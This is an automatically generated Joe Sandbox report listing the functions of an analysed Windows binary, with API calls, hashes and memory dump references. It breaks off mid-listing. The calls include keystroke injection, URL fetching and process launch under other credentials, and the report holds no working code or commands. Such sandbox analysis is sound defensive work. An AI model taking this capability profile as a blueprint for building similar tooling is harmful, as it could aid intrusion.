Instruction ID: 6198ad33cf680c13aade5725585d036f9c4ba0ddca3821a0ff726a6ec0170650
Opcode Fuzzy Hash: b53e6a738da46848452b9a777e4cf99b10d65eded4588490d98fe74d607b04c1
Instruction Fuzzy Hash: 6F317A34608204FBEF24DE5898D9BAC37A5AB05360F668513FA53D67A2C730E950EB61

Function 001DD5EE Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 001DD617
GetWindowRect.USER32(?,?), ref: 001DD68D
PtInRect.USER32(?,?,001DEB2C), ref: 001DD69D
MessageBeep.USER32(00000000), ref: 001DD70E

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: a94b9202cf209d2b07921a564f240cc8dd4b4224c2015e89985a9edd10cb9699
Instruction ID: 2f82ec248d942800fb106e45e2725c5cf21469dc3f47fc8db78911147082a74f
Opcode Fuzzy Hash: a94b9202cf209d2b07921a564f240cc8dd4b4224c2015e89985a9edd10cb9699
Instruction Fuzzy Hash: E8416934A00118DFDB11CF68F884BA97BF6BF49314F1981AAE4199B3A5D730E881CB90

Function 001B4497 Relevance: 6.1, APIs: 4, Instructions: 104keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,7694C0D0,?,00008000), ref: 001B44EE
SetKeyboardState.USER32(00000080,?,00008000), ref: 001B450A
PostMessageW.USER32(00000000,00000101,00000000,?), ref: 001B456A
SendInput.USER32(00000001,?,0000001C,7694C0D0,?,00008000), ref: 001B45C8

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 955b5a36e455672335eb32a05d67dfbcc111e667608c3980e146294a6dab6353
Instruction ID: 84f21775316f90ac8982c6554a5d164299a8fea0fedbf4f1db8caf0340a13f30
Opcode Fuzzy Hash: 955b5a36e455672335eb32a05d67dfbcc111e667608c3980e146294a6dab6353
Instruction Fuzzy Hash: EB315AB19046586FEF348B64D8087FE7BB59B55310F04821AF0C2932D3C7748E85D762

Function 001A4DB4 Relevance: 6.1, APIs: 4, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 001A4DE8
__isleadbyte_l.LIBCMT ref: 001A4E16
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 001A4E44
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 001A4E7A

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: cfea15f922666c8430c4bf1106abcc88f2fc93fbd44f98dcc121b06eae26d653
Instruction ID: aa189e2fd06fdbdbaefc5785c3b4b7834a54d9513675ced0c279691464694eaf
Opcode Fuzzy Hash: cfea15f922666c8430c4bf1106abcc88f2fc93fbd44f98dcc121b06eae26d653
Instruction Fuzzy Hash: 5331B339600256AFDF21DF74CC45BBA7BA6FF82310F154528E861871A1E7B4DC91DB90

Function 001D7AA2 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 001D7AB6

Part of subcall function 001B69C9: GetWindowThreadProcessId.USER32(?,00000000), ref: 001B69E3
Part of subcall function 001B69C9: GetCurrentThreadId.KERNEL32 ref: 001B69EA
Part of subcall function 001B69C9: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 001B69F1

GetCaretPos.USER32(?), ref: 001D7AC7
ClientToScreen.USER32(00000000,?), ref: 001D7B00
GetForegroundWindow.USER32 ref: 001D7B06

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 772ca83ecaba4caeb2b5693d182e76889597c6a49e3f3c060edb2a7d3ace3931
Instruction ID: 9376bc46a2719b48b288e0e4ab1efed5196c5ff99a818a6e18dfba661580a2af
Opcode Fuzzy Hash: 772ca83ecaba4caeb2b5693d182e76889597c6a49e3f3c060edb2a7d3ace3931
Instruction Fuzzy Hash: 0D31EF71D00108AFCB01EFB5D8859EFBBF9EF68314B10806AE915E7211E7359E05CBA0

Function 001C497B Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 001C49B7

Part of subcall function 001C4A41: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 001C4A60
Part of subcall function 001C4A41: InternetCloseHandle.WININET(00000000), ref: 001C4AFD

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: bbf9e4772127d9db3c384822706a9bd09f80916e8f2a024f46ebb7077a86f08b
Instruction ID: a907809cb61e1cacca0b00b2c3342f7bae75276be1b705da00686d3de6e5248d
Opcode Fuzzy Hash: bbf9e4772127d9db3c384822706a9bd09f80916e8f2a024f46ebb7077a86f08b
Instruction Fuzzy Hash: 90212631244611BFDB159F60DC11FBBBBAAFF68710F10400EFA0687550EB71E810A794

Function 001ABC90 Relevance: 6.1, APIs: 4, Instructions: 73processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 001ABCD9
OpenProcessToken.ADVAPI32(00000000), ref: 001ABCE0
CloseHandle.KERNEL32(00000004), ref: 001ABCFA
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 001ABD29

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Process$CloseCreateCurrentHandleLogonOpenTokenWith
String ID:
API String ID: 2621361867-0
Opcode ID: 8e21ed27e91bb0bcbcc2773096554e2d96cb57c63ced404b333800c782a75b52
Instruction ID: 8b61f4d5df05c2d34d90a71267fd4bdb1a885ba1cd1f8447adf38c34944e14f8
Opcode Fuzzy Hash: 8e21ed27e91bb0bcbcc2773096554e2d96cb57c63ced404b333800c782a75b52
Instruction Fuzzy Hash: 14216F76105249ABDF019FA8ED89FFE7BAAEF06318F044014FA01A6161C776CD61EB60

Function 001D8834 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 001D88A3
SetWindowLongW.USER32(?,000000EC,00000000), ref: 001D88BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 001D88CB
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 001D88D9

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 41b92074aa24321b63fee27d849ddc602b5129d7649544ee859a1853425affc2
Instruction ID: 41bac00451a9fcfb0adc9be06e4e558f68be9b8f5b55378dc2b58fb13854d0eb
Opcode Fuzzy Hash: 41b92074aa24321b63fee27d849ddc602b5129d7649544ee859a1853425affc2
Instruction Fuzzy Hash: 15118B31245114AFDB14AB28DC19FBA7BAAEF95320F14811AF91AD73E1CB74AC40DB90

Function 001C900C Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,00000001,00000000,00000000,?), ref: 001C906D
__WSAFDIsSet.WS2_32(00000000,00000001), ref: 001C907F
accept.WS2_32(00000000,00000000,00000000), ref: 001C908C
WSAGetLastError.WS2_32(00000000), ref: 001C90A3

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorLastacceptselect
String ID:
API String ID: 385091864-0
Opcode ID: 62ab37edde529daecf2041fc81d101afe7f8effaa05acb338850a0501cccb5c7
Instruction ID: ffcfdb932dcd23fc8d716bf140e9200812d442b865d1a7a902c387283c7b45f5
Opcode Fuzzy Hash: 62ab37edde529daecf2041fc81d101afe7f8effaa05acb338850a0501cccb5c7
Instruction Fuzzy Hash: 652142719001249FC7119F69D885AEEBBFCEF59714F00816AF849D7290DB74DA81CF90

Function 001B18E8 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001B2CAA: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,001B18FD,?,?,?,001B26BC,00000000,000000EF,00000119,?,?), ref: 001B2CB9
Part of subcall function 001B2CAA: lstrcpyW.KERNEL32(00000000,?,?,001B18FD,?,?,?,001B26BC,00000000,000000EF,00000119,?,?,00000000), ref: 001B2CDF
Part of subcall function 001B2CAA: lstrcmpiW.KERNEL32(00000000,?,001B18FD,?,?,?,001B26BC,00000000,000000EF,00000119,?,?), ref: 001B2D10

lstrlenW.KERNEL32(?,00000002,?,?,?,?,001B26BC,00000000,000000EF,00000119,?,?,00000000), ref: 001B1916
lstrcpyW.KERNEL32(00000000,?,?,001B26BC,00000000,000000EF,00000119,?,?,00000000), ref: 001B193C
lstrcmpiW.KERNEL32(00000002,cdecl,?,001B26BC,00000000,000000EF,00000119,?,?,00000000), ref: 001B1970

Strings

cdecl, xrefs: 001B1967

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 11e355158ff79459d94e6447f19751dcc8efb0755bf9e710e1a04ae1db3f98b4
Instruction ID: 3ff18ebb3af50ea1a7df9066fc4c9dc846a82e4c61b634a1d586d9150ac39e69
Opcode Fuzzy Hash: 11e355158ff79459d94e6447f19751dcc8efb0755bf9e710e1a04ae1db3f98b4
Instruction Fuzzy Hash: 2B11D036200342FFDB15AF74D865DBA77B9FF49350B81802AF806CB260EB319951C7A1

Function 001A3D46 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 001A3D65

Part of subcall function 001945EC: __FF_MSGBANNER.LIBCMT ref: 00194603
Part of subcall function 001945EC: __NMSG_WRITE.LIBCMT ref: 0019460A
Part of subcall function 001945EC: RtlAllocateHeap.NTDLL(013D0000,00000000,00000001), ref: 0019462F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 528e9e2fa4165bcb4b4a3788d8f53ae7fc589eb08950280f219f7599a8461dc8
Instruction ID: 611b752840bda9f77833177189debf8a964dbe59fae3fba8aed24ca540c7153c
Opcode Fuzzy Hash: 528e9e2fa4165bcb4b4a3788d8f53ae7fc589eb08950280f219f7599a8461dc8
Instruction Fuzzy Hash: E411293A800211EBDF353FF0BC447AA3B98BF12360FA14425F9588A591DF30CA80C660

Function 001B713C Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 001B715C
_memset.LIBCMT ref: 001B717D
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 001B71CF
CloseHandle.KERNEL32(00000000), ref: 001B71D8

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 0a71f2fb030aafad851ef2a01130e7b7043b4f34f75071e1256f1e4de9f67672
Instruction ID: 22c776995ca42bbfa374f4fca696f1d6bb63b56b6e455ea99510854cc6fcc202
Opcode Fuzzy Hash: 0a71f2fb030aafad851ef2a01130e7b7043b4f34f75071e1256f1e4de9f67672
Instruction Fuzzy Hash: 3011A7719052287AD7205B69AC4DFEBBA7CEF45764F10419AF504E71D0D7744E80CBB4

Function 001B13D1 Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 001B13EE
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 001B1409
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 001B141F
FreeLibrary.KERNEL32(?), ref: 001B1474

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Type$FileFreeLibraryLoadModuleNameRegister
String ID:
API String ID: 3137044355-0
Opcode ID: 1884b33e4de08c84ce8f23a606771f4ff93dc2fd1092153f8fdccd7874f4d7a4
Instruction ID: dac1d96d66dbb229318909665ba376a045342d25d9cea145d7fa8e6123eeef0c
Opcode Fuzzy Hash: 1884b33e4de08c84ce8f23a606771f4ff93dc2fd1092153f8fdccd7874f4d7a4
Instruction Fuzzy Hash: 8B217F71500209FBDB20DF91EC98AEBBBB8EF00744F8184A9EA5297550D774EA44DF51

Function 001AC265 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 001AC285
SendMessageW.USER32(?,000000C9,?,00000000), ref: 001AC297
SendMessageW.USER32(?,000000C9,?,00000000), ref: 001AC2AD
SendMessageW.USER32(?,000000C9,?,00000000), ref: 001AC2C8

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 38055dfa841138dbaded538d3611ee5ca06745fa0e22ee221a4b3c19f5479b0d
Instruction ID: ea97e1a63131aa38abd9c187d02c633ef085b627ab553700bfc635be48bb6a91
Opcode Fuzzy Hash: 38055dfa841138dbaded538d3611ee5ca06745fa0e22ee221a4b3c19f5479b0d
Instruction Fuzzy Hash: A711187A940218FFEB11DBD8C885F9DBBB4FB09710F204092EA04B7294D771AE10DB94

Function 001B7C45 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 001B7C6C
MessageBoxW.USER32(?,?,?,?), ref: 001B7C9F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 001B7CB5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 001B7CBC

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 36e8b87a313de1e779457c4ed2953d64e367eee8e158ee13bdbdb3536edc1bca
Instruction ID: 0720327970780b58555c7795038ef0ce18439db459495242291b3da12769e1a0
Opcode Fuzzy Hash: 36e8b87a313de1e779457c4ed2953d64e367eee8e158ee13bdbdb3536edc1bca
Instruction Fuzzy Hash: A011C872A08244BBD712DF6CAC08AEA7FAE9B44324F14425AF515D3291D7708A54C7A1

Function 0018C619 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0018C657
GetStockObject.GDI32(00000011), ref: 0018C66B
SendMessageW.USER32(00000000,00000030,00000000), ref: 0018C675

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: d93c74f9160c847ef1cb74b632b74da5660a229600565c3e6b1171976d571c18
Instruction ID: fefb8c8de9611150cfc47d212c07a99e326d3623323991bafcc715a7a0684453
Opcode Fuzzy Hash: d93c74f9160c847ef1cb74b632b74da5660a229600565c3e6b1171976d571c18
Instruction Fuzzy Hash: 211161B2501549BFDB115FA0AC44EFA7B6AEF09364F154225FA0456150E731DD60DFA0

Function 001B49D1 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 001B49EE
Sleep.KERNEL32(00000000), ref: 001B4A13
QueryPerformanceCounter.KERNEL32(?), ref: 001B4A1D
Sleep.KERNEL32(?), ref: 001B4A50

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
